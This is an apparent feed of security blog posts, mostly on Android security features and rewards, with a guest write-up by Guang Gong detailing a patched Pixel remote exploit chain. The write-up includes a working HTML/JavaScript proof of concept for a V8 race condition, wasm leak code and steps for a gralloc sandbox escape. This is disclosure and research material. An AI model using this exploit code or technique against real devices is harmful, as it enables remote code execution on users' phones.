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We are living in a world where almost everything is becoming connected, whether it’s the electrical grid, phone system, our cars, or the appliances that heat our home or chill our food. As this Internet of Things (IoT) continues to proliferate, so does the threat of debilitating cyber-attacks, like last year’s devastating ransomware attacks that…
The post Using intelligence to advance security from the edge to the cloud appeared first on The Official Microsoft Blog.
Posted by Erik Kline, Android software engineer, and Ben Schwartz, Jigsaw software engineer
The first step of almost every connection on the internet is a DNS query. A client, such as a smartphone, typically uses a DNS server provided by the Wi-Fi or cellular network. The client asks this DNS server to convert a domain name, like www.google.com, into an IP address, like 2607:f8b0:4006:80e::2004. Once the client has the IP address, it can connect to its intended destination.
When the DNS protocol was designed in the 1980s, the internet was a much smaller, simpler place. For the past few years, the Internet Engineering Task Force (IETF) has worked to define a new DNS protocol that provides users with the latest protections for security and privacy. The protocol is called “DNS over TLS” (standardized as RFC 7858).
Like HTTPS, DNS over TLS uses the TLS protocol to establish a secure channel to the server. Once the secure channel is established, DNS queries and responses can’t be read or modified by anyone else who might be monitoring the connection. (The secure channel only applies to DNS, so it can’t protect users from other kinds of security and privacy violations.)
The Android P Developer Preview includes built-in support for DNS over TLS. We added a Private DNS mode to the Network & internet settings.
By default, devices automatically upgrade to DNS over TLS if a network’s DNS server supports it. But users who don’t want to use DNS over TLS can turn it off.
Users can enter a hostname if they want to use a private DNS provider. Android then sends all DNS queries over a secure channel to this server or marks the network as “No internet access” if it can’t reach the server. (For testing purposes, see this community-maintained list of compatible servers.)
DNS over TLS mode automatically secures the DNS queries from all apps on the system. However, apps that perform their own DNS queries, instead of using the system’s APIs, must ensure that they do not send insecure DNS queries when the system has a secure connection. Apps can get this information using a new API: LinkProperties.isPrivateDnsActive().
With the Android P Developer Preview, we’re proud to present built-in support for DNS over TLS. In the future, we hope that all operating systems will include secure transports for DNS, to provide better protection and privacy for all users on every new connection.
Originally posted by Dave Kleidermacher, Vice President of Security for Android, Play, ChromeOS, on the Google Security Blog
Our team’s goal is simple: secure more than two billion Android devices. It’s our entire focus, and we’re constantly working to improve our protections to keep users safe.
Today, we’re releasing our fourth annual Android security year in review. We compile these reports to help educate the public about the many different layers of Android security, and also to hold ourselves accountable so that anyone can track our security work over time.
We saw some really positive momentum last year and this post includes some, but not nearly all, of the major moments from 2017. To dive into all the details, you can read the full report at: g.co/AndroidSecurityReport2017
In May, we announced Google Play Protect, a new home for the suite of Android security services on nearly two billion devices. While many of Play Protect’s features had been securing Android devices for years, we wanted to make these more visible to help assure people that our security protections are constantly working to keep them safe.
Play Protect’s core objective is to shield users from Potentially Harmful Apps, or PHAs. Every day, it automatically reviews more than 50 billion apps, other potential sources of PHAs, and devices themselves and takes action when it finds any.
Play Protect uses a variety of different tactics to keep users and their data safe, but the impact of machine learning is already quite significant: 60.3% of all Potentially Harmful Apps were detected via machine learning, and we expect this to increase in the future.
Play Protect automatically checks Android devices for PHAs at least once every day, and users can conduct an additional review at any time for some extra peace of mind. These automatic reviews enabled us to remove nearly 39 million PHAs last year.
We also update Play Protect to respond to trends that we detect across the ecosystem. For instance, we recognized that nearly 35% of new PHA installations were occurring when a device was offline or had lost network connectivity. As a result, in October 2017, we enabled offline scanning in Play Protect, and have since prevented 10 million more PHA installs.
Devices that downloaded apps exclusively from Google Play were nine times less likely to get a PHA than devices that downloaded apps from other sources. And these security protections continue to improve, partially because of Play Protect’s increased visibility into newly submitted apps to Play. It reviewed 65% more Play apps compared to 2016.
Play Protect also doesn’t just secure Google Play—it helps protect the broader Android ecosystem as well. Thanks in large part to Play Protect, the installation rates of PHAs from outside of Google Play dropped by more than 60%.
While Google Play Protect is a great shield against harmful PHAs, we also partner with device manufacturers to make sure that the version of Android running on user devices is up-to-date and secure.
Throughout the year, we worked to improve the process for releasing security updates, and 30% more devices received security patches than in 2016. Furthermore, no critical security vulnerabilities affecting the Android platform were publicly disclosed without an update or mitigation available for Android devices. This was possible due to the Android Security Rewards Program, enhanced collaboration with the security researcher community, coordination with industry partners, and built-in security features of the Android platform.
We introduced a slew of new security features in Android Oreo: making it safer to get apps, dropping insecure network protocols, providing more user control over identifiers, hardening the kernel, and more.
We highlighted many of these over the course of the year, but some may have flown under the radar. For example, we updated the overlay API so that apps can no longer block the entire screen and prevent you from dismissing them, a common tactic employed by ransomware.
We’ve long said it, but it remains truer than ever: Android’s openness helps strengthen our security protections. For years, the Android ecosystem has benefitted from researchers’ findings, and 2017 was no different.
We continued to see great momentum with our Android Security Rewards program: we paid researchers $1.28 million, totalling more than two million dollars since the start of the program. We also increased our top-line payouts for exploits that compromise TrustZone or Verified Boot from $50,000 to $200,000, and remote kernel exploits from $30,000 to $150,000.
In parallel, we also introduced Google Play Security Rewards program and offered a bonus bounty to developers that discover and disclose select critical vulnerabilities in apps hosted on Play to their developers.
Our teams also participated in external vulnerability discovery and disclosure competitions, such as Mobile Pwn2Own. At the 2017 Mobile Pwn2Own competition, no exploits successfully compromised the Google Pixel. And of the exploits demonstrated against devices running Android, none could be reproduced on a device running unmodified Android source code from the Android Open Source Project (AOSP).
We’re pleased to see the positive momentum behind Android security, and we’ll continue our work to improve our protections this year, and beyond. We will never stop our work to ensure the security of Android users.
Posted by Adam Vartanian, Software Engineer
We hope you’re enjoying the first developer preview of Android P. We wanted to specifically call out some backward-incompatible changes we plan to make to the cryptographic capabilities in Android P, which you can see in the developer preview.
Starting in Android P, we plan to deprecate some functionality from the BC provider that’s duplicated by the AndroidOpenSSL (also known as Conscrypt) provider. This will only affect applications that specify the BC provider explicitly when calling getInstance() methods. To be clear, we aren’t doing this because we are concerned about the security of the implementations from the BC provider, rather because having duplicated functionality imposes additional costs and risks while not providing much benefit.
If you don’t specify a provider in your getInstance() calls, no changes are required.
If you specify the provider by name or by instance—for example, Cipher.getInstance("AES/CBC/PKCS7PADDING", "BC") or Cipher.getInstance("AES/CBC/PKCS7PADDING", Security.getProvider("BC"))—the behavior you get in Android P will depend on what API level your application targets. For apps targeting an API level before P, the call will return the BC implementation and log a warning in the application log. For apps targeting Android P or later, the call will throw NoSuchAlgorithmException.
To resolve this, you should stop specifying a provider and use the default implementation.
In a later Android release, we plan to remove the deprecated functionality from the BC provider entirely. Once removed, any call that requests that functionality from the BC provider (whether by name or instance) will throw NoSuchAlgorithmException.
In a previous post, we announced that the Crypto provider was deprecated beginning in Android Nougat. Since then, any request for the Crypto provider by an application targeting API 23 (Marshmallow) or before would succeed, but requests by applications targeting API 24 (Nougat) or later would fail. In Android P, we plan to remove the Crypto provider entirely. Once removed, any call to SecureRandom.getInstance("SHA1PRNG", "Crypto") will throw NoSuchProviderException. Please ensure your apps have been updated.
Posted by Mayank Jain and Scott Roberts of the Android Security team
In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program’s expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.
All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.
The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you’d like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.
The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.
The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.
This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android’s libgralloc module that is used to escape from Chrome’s sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys).
New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access.
The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time.
i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
......
} else if (source->IsTypedArray()) { //--->source should be checked if it's backed by a SharedArrayBuffer
// A TypedArray was passed.
Local<TypedArray> array = Local<TypedArray>::Cast(source);
Local<ArrayBuffer> buffer = array->Buffer();
ArrayBuffer::Contents contents = buffer->GetContents();
start =
reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
length = array->ByteLength();
}
......
return i::wasm::ModuleWireBytes(start, start + length);
}
A simple PoC is as follows:
<html>
<h1>poc</h1>
<script id="worker1">
worker:{
self.onmessage = function(arg) {
console.log("worker started");
var ta = new Uint8Array(arg.data);
var i =0;
while(1){
if(i==0){
i=1;
ta[51]=0; //--->4)modify the webassembly code at the same time
}else{
i=0;
ta[51]=128;
}
}
}
}
</script>
<script>
function getSharedTypedArray(){
var wasmarr = [
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
var sb = new SharedArrayBuffer(wasmarr.length); //---> 1)put WebAssembly code in a SharedArrayBuffer
var sta = new Uint8Array(sb);
for(var i=0;i<sta.length;i++)
sta[i]=wasmarr[i];
return sta;
}
var blob = new Blob([
document.querySelector('#worker1').textContent
], { type: "text/javascript" })
var worker = new Worker(window.URL.createObjectURL(blob)); //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer); //--->3)pass the WebAssembly code to the web worker
setTimeout(function(){
while(1){
try{
sta[51]=0;
var myModule = new WebAssembly.Module(sta); //--->4)parse the WebAssembly code
var myInstance = new WebAssembly.Instance(myModule);
//myInstance.exports.getAnswerPlus1();
}catch(e){
}
}
},1000);
//worker.terminate();
</script>
</html>
The text format of the WebAssembly code is as follows:
00002b func[0]: 00002d: 41 2a | i32.const 42 00002f: 0b | end 000030 func[1]: 000032: 10 00 | call 0 000034: 41 01 | i32.const 1 000036: 6a | i32.add 000037: 0b | end
First, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread’s bound check, the instruction ” call 0″ can be modified by the worker thread to “call 128” and then be parsed and compiled by the main thread, so an OOB access occurs.
Because the “call 0” Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If “call 0” is modified to “call $leak”, registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked.
(func $leak(param i32 i32 i32 i32 i32 i32)(result i32)
i32.const 0
get_local 0
i32.store
i32.const 4
get_local 1
i32.store
i32.const 8
get_local 2
i32.store
i32.const 12
get_local 3
i32.store
i32.const 16
get_local 4
i32.store
i32.const 20
get_local 5
i32.store
i32.const 0
))
Not only the instruction “call 0” can be modified, any “call funcx” instruction can be modified. Assume funcx is a wasm function with 6 arguments as follows, when v8 compiles funcx in ia32 architecture, the first 5 arguments are passed through the registers and the sixth argument is passed through stack. All the arguments can be set to any value by JavaScript:
/*Text format of funcx*/
(func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)
get_local 5
get_local 4
i32.add)
/*Disassembly code of funcx*/
--- Code ---
kind = WASM_FUNCTION
name = wasm#1
compiler = turbofan
Instructions (size = 20)
0x58f87600 0 8b442404 mov eax,[esp+0x4]
0x58f87604 4 03c6 add eax,esi
0x58f87606 6 c20400 ret 0x4
0x58f87609 9 0f1f00 nop
Safepoints (size = 8)
RelocInfo (size = 0)
--- End code ---
When a JavaScript function calls a WebAssembly function, v8 compiler creates a JS_TO_WASM function internally, after compilation, the JavaScript function will call the created JS_TO_WASM function and then the created JS_TO_WASM function will call the WebAssembly function. JS_TO_WASM functions use different call convention, its first arguments is passed through stack. If “call funcx” is modified to call the following JS_TO_WASM function.
/*Disassembly code of JS_TO_WASM function */ --- Code --- kind = JS_TO_WASM_FUNCTION name = js-to-wasm#0 compiler = turbofan Instructions (size = 170) 0x4be08f20 0 55 push ebp 0x4be08f21 1 89e5 mov ebp,esp 0x4be08f23 3 56 push esi 0x4be08f24 4 57 push edi 0x4be08f25 5 83ec08 sub esp,0x8 0x4be08f28 8 8b4508 mov eax,[ebp+0x8] 0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) ;; code: BUILTIN 0x4be08f30 10 a801 test al,0x1 0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42>
The JS_TO_WASM function will take the sixth arguments of funcx as its first argument, but it takes its first argument as an object pointer, so type confusion will be triggered when the argument is passed to the ToNumber function, which means we can pass any values as an object pointer to the ToNumber function. So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows:
/* ArrayBuffer layouts 40 Bytes*/ Map Properties Elements ByteLength BackingStore AllocationBase AllocationLength Fields internal internal /* Map layouts 44 Bytes*/ static kMapOffset = 0, static kInstanceSizesOffset = 4, static kInstanceAttributesOffset = 8, static kBitField3Offset = 12, static kPrototypeOffset = 16, static kConstructorOrBackPointerOffset = 20, static kTransitionsOrPrototypeInfoOffset = 24, static kDescriptorsOffset = 28, static kLayoutDescriptorOffset = 1, static kCodeCacheOffset = 32, static kDependentCodeOffset = 36, static kWeakCellCacheOffset = 40, static kPointerFieldsBeginOffset = 16, static kPointerFieldsEndOffset = 44, static kInstanceSizeOffset = 4, static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5, static kUnusedOffset = 6, static kVisitorIdOffset = 7, static kInstanceTypeOffset = 8, //one byte static kBitFieldOffset = 9, static kInstanceTypeAndBitFieldOffset = 8, static kBitField2Offset = 10, static kUnusedPropertyFieldsOffset = 11
Because the content of the stack can be leaked, we can get many useful data to fake the ArrayBuffer. For example, we can leak the start address of an object, and calculate the start address of its elements, which is a FixedArray object. We can use this FixedArray object as the faked ArrayBuffer’s properties and elements fields. We have to fake the map of the ArrayBuffer too, luckily, most of the fields of the map are not used when the bug is triggered. But the InstanceType in offset 8 has to be set to 0xc3(this value depends on the version of v8) to indicate this object is an ArrayBuffer. In order to get a reference of the faked ArrayBuffer in JavaScript, we have to set the Prototype field of Map in offset 16 to an object whose Symbol.toPrimitive property is a JavaScript call back function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the call back function will be called, so we can get a reference of the faked ArrayBuffer in the call back function. Because the ArrayBuffer is faked in a double array, the content of the array can be set to any value, so we can change the field BackingStore and ByteLength of the faked array buffer to get arbitrary memory read and write. With arbitrary memory read/write, executing shellcode is simple. As JIT Code in Chrome is readable, writable and executable, we can overwrite it to execute shellcode.
Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit.
The sandbox escape bug is caused by map and unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is in the functions gralloc_map and gralloc_unmap:
static int gralloc_map(gralloc_module_t const* module,
buffer_handle_t handle)
{ ……
private_handle_t* hnd = (private_handle_t*)handle;
……
if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&
!(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {
size = hnd->size;
err = memalloc->map_buffer(&mappedAddress, size,
hnd->offset, hnd->fd); //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process.
if(err || mappedAddress == MAP_FAILED) {
ALOGE("Could not mmap handle %p, fd=%d (%s)",
handle, hnd->fd, strerror(errno));
return -errno;
}
hnd->base = uint64_t(mappedAddress) + hnd->offset; //---> save mappedAddress+offset to hnd->base
} else {
err = -EACCES;
}
……
return err;
}
gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome’s sandboxed process, so it’s possible to unmap any pages in system_server from Chrome’s sandboxed render process.
static int gralloc_unmap(gralloc_module_t const* module,
buffer_handle_t handle)
{
……
if(hnd->base) {
err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset); //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched.
if (err) {
ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,
strerror(errno));
return -errno;
}
hnd->base = 0;
}
……
return 0;
}
int IonAlloc::unmap_buffer(void *base, unsigned int size,
unsigned int /*offset*/)
//---> look, offset is not used by unmap_buffer
{
int err = 0;
if(munmap(base, size)) {
err = -errno;
ALOGE("ion: Failed to unmap memory at %p : %s",
base, strerror(errno));
}
return err;
}
Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services.
52neverallow isolated_app {
53 service_manager_type
54 -activity_service
55 -display_service
56 -webviewupdate_service
57}:service_manager find;
To trigger the aforementioned Use-After-Unmap bug from Chrome’s sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered.
This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome’s Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app.
To exploit this EoP bug:
1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping:
7f54600000-7f54800000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f58000000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) ......
2. Unmap part of the heap (1 KB) and part of an ashmem memory (2MB–1KB) by triggering the bug:
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] //--->There is a 2MB memory gap 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
3. Fill the unmapped space with an ashmem memory:
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->The gap is filled with the ashmem memory 360alpha1001 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
4. Spray the heap and the heap data will be written to the ashmem memory:
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
5. Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome’s render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module’s base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven’t been used. It’s impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP.
typedef struct android_native_base_t
{
/* a magic value defined by the actual EGL native type */
int magic;
/* the sizeof() of the actual EGL native type */
int version;
void* reserved[4];
/* reference-counting interface */
void (*incRef)(struct android_native_base_t* base);
void (*decRef)(struct android_native_base_t* base);
} android_native_base_t;
6.Trigger a GC to execute ROP
When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .
The Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities.
The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort.
Today, attacks on our computers can be launched in against an exponentially larger set of places on the network, actors in the system, and layers in the software and hardware stack. What is the solution then? The answer is a new technology called end-t…
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Posted by Gian G Spicuzza, Android Security team
Android Oreo is stuffed full of security enhancements. Over the past few months,
we’ve covered how we’ve improved the security of the Android platform and its
applications: from making
it safer to get apps, dropping insecure
network protocols, providing more user
control over identifiers, hardening
the kernel, making
Android easier to update, all the way to doubling
the Android Security Rewards payouts. Now that Oreo is out the door, let’s
take a look at all the goodness inside.
Android already supports Verified Boot,
which is designed to prevent devices from booting up with software that has been
tampered with. In Android Oreo, we added a reference implementation for Verified
Boot running with Project
Treble, called Android Verified Boot 2.0 (AVB). AVB has a couple of cool
features to make updates easier and more secure, such as a common footer format
and rollback protection. Rollback protection is designed to prevent a device to
boot if downgraded to an older OS version, which could be vulnerable to an
exploit. To do this, the devices save the OS version using either special
hardware or by having the Trusted Execution Environment (TEE) sign the data.
Pixel 2 and Pixel 2 XL come with this protection and we recommend all device
manufacturers add this feature to their new devices.
Oreo also includes the new OEM
Lock Hardware Abstraction Layer (HAL) that gives device manufacturers more
flexibility for how they protect whether a device is locked, unlocked, or
unlockable. For example, the new Pixel phones use this HAL to pass commands to
the bootloader. The bootloader analyzes these commands the next time the device
boots and determines if changes to the locks, which are securely stored in
Replay Protected Memory Block (RPMB), should happen. If your device is stolen,
these safeguards are designed to prevent your device from being reset and to
keep your data secure. This new HAL even supports moving the lock state to
dedicated hardware.
Speaking of hardware, we’ve invested support in tamper-resistant hardware, such
as the security
module found in every Pixel 2 and Pixel 2 XL. This physical chip prevents
many software and hardware attacks and is also resistant to physical penetration
attacks. The security module prevents deriving the encryption key without the
device’s passcode and limits the rate of unlock attempts, which makes many
attacks infeasible due to time restrictions.
While the new Pixel devices have the special security module, all new GMS devices shipping with Android Oreo
are required to implement key
attestation. This provides a mechanism for strongly attesting
IDs such as hardware identifiers.
We added new features for enterprise-managed devices as well. In work profiles,
encryption keys are now ejected from RAM when the profile is off or when your
company’s admin remotely locks the profile. This helps secure enterprise data at
rest.
As part of Project
Treble, the Android framework was re-architected to make updates easier and
less costly for device manufacturers. This separation of platform and
vendor-code was also designed to improve security. Following the principle of
least privilege, these HALs run in their own
sandbox and only have access to the drivers and permissions that are
absolutely necessary.
Continuing with the media
stack hardening in Android Nougat, most direct hardware access has been
removed from the media frameworks in Oreo resulting in better isolation.
Furthermore, we’ve enabled Control Flow Integrity (CFI) across all media
components. Most vulnerabilities today are exploited by subverting the normal
control flow of an application, instead changing them to perform arbitrary
malicious activities with all the privileges of the exploited application. CFI
is a robust security mechanism that disallows arbitrary changes to the original
control flow graph of a compiled binary, making it significantly harder to
perform such attacks.
In addition to these architecture changes and CFI, Android Oreo comes with a
feast of other tasty platform security enhancements:
Android
Instant Apps run in a restricted sandbox which limits permissions and
capabilities such as reading the on-device app list or transmitting cleartext
traffic. Although introduced during the Android Oreo release, Instant Apps
supports devices running Android Lollipop and
later.
In order to handle untrusted content more safely, we’ve isolated
WebView by splitting the rendering engine into a separate process and
running it within an isolated sandbox that restricts its resources. WebView also
supports Safe Browsing to protect
against potentially dangerous sites.
Lastly, we’ve made significant
changes to device identifiers to give users more control, including:
net.hostname is now empty and the DHCP client noBuild.getSerial()
API and protected it behind a permission.
Android Oreo brings in all of these improvements, and many more. As always, we
appreciate feedback and welcome suggestions for how we can improve Android.
Contact us at security@android.com.
_____________________________________________________________________
1: Glenn Wilkinson and team at Sensepost, UK, Célestin Matte, Mathieu Cunche:
University of Lyon, INSA-Lyon, CITI Lab, Inria Privatics, Mathy Vanhoef, KU
Leuven
Cryptography is very important in today’s world. Improper or maliciously altered crypto implementations have been a concern for the industry in recent years. To alleviate the risk, Cisco has been working with the industry, the National Institute of Standards and Technology (NIST) and other international organizations on finding ways to validate crypto implementations and speed […]
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So many newsworthy hacks in recent years have had a staggering impact on literally millions of consumers and businesses. While these hacks have perhaps made us numb to their effects, the reality is these breaches represent the new normal in today’s digitized world. And given that attackers are growing in number, sophistication and intensity, many […]
Billions of corporate messages flow back and forth on a daily basis. And with over 90% of breaches starting with an email, organizations today face a daunting challenge when choosing the best email security solution to stop emails with phishing links or malicious attachments that unleash ransomware, phishing or business email compromise attacks. Securing the […]
Posted by Oscar Rodriguez, Developer Advocate
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Ransomware has been all over the news since 2015. You’d think we would all know how to deal with it and the fad would be dying by now. Well, that’s what I would think. It turns out that ransomware generates a lot of cash for criminals, an estimated $1 billion in 2016. It also has […]
The new age of innovation is providing a level of convenience and technological advancements that were once unfathomable. But with every breakthrough comes challenges, and more precisely these days, security challenges. We, in the security industry, are constantly faced with new threats emerging from vectors that didn’t even exist yesterday. Enterprise Security vs. Consumer Convenience […]
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The latest news and updates from the Cisco Small Business Team.
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Samsung is a well-recognized leader in manufacturing operations, possessing innovative infrastructure and production technology, as well as years of
Posted by Sami Tolvanen, Senior Software Engineer, Android Security
The hardening of Android’s userspace has increasingly made the underlying Linux
kernel a more attractive target to attackers. As a result, more than a third of
Android security bugs were found in the kernel last year. In Android 8.0 (Oreo),
significant effort has gone into hardening the kernel to reduce the number and
impact of security bugs.
Android
Nougat worked to protect the kernel by isolating it from userspace processes
with the addition of SELinux ioctl filtering and requiring seccomp-bpf support,
which allows apps to filter access to available system calls when processing
untrusted input. Android 8.0 focuses on kernel self-protection with four
security-hardening features backported from upstream Linux to all Android
kernels supported in devices that first ship with this release.
Usercopy functions are used by the kernel to transfer data from user space to
kernel space memory and back again. Since 2014, missing or invalid bounds
checking has caused about 45% of Android’s kernel vulnerabilities. Hardened usercopy adds bounds
checking to usercopy functions, which helps developers spot misuse and fix bugs
in their code. Also, if obscure driver bugs slip through, hardening these
functions prevents the exploitation of such bugs.
This feature was
introduced in the upstream kernel version 4.8, and we have backported it to
Android kernels 3.18 and above.
int buggy_driver_function(void __user *src, size_t size)
{
/* potential size_t overflow (don’t do this) */
u8 *buf = kmalloc(size * N, GPF_KERNEL);
…
/* results in buf smaller than size, and a heap overflow */
